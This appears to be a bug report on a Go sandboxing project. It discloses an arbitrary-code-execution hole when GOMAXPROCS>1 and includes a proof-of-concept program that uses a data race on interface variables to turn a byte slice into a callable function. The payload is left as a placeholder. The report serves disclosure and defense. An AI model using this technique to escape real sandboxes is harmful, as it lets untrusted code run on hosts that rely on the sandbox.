arbitrary code execution when GOMAXPROCS>1 #1
Description
With the current setup it is possible to execute arbitrary code if GOMAXPROCS>1 or can be set to a value greater than 1 (i.e. import of runtime is allowed). By default no package import is allowed, but there should be a warning to the effect that allowing runtime is unsafe when presented with untrusted code.
Running the code below shows that when GOMAXPROCS>1 a []byte can be converted to a func() without any import. No arbitrary code is included, but a malicious payload would be trivial to include.
package main
func sliceToFunc(b []byte) (f func()) {
var i, j, k interface{}
i = f
j = &b[0]
done := false
go func() {
for !done {
k = i
k = j
}
}()
for {
if p, ok := k.(func()); ok && p != nil {
f = p
done = true
break
}
}
return
}
func main() {
arbCode := []byte{0} // Arbitrary code goes here.
f := sliceToFunc(arbCode)
f()
}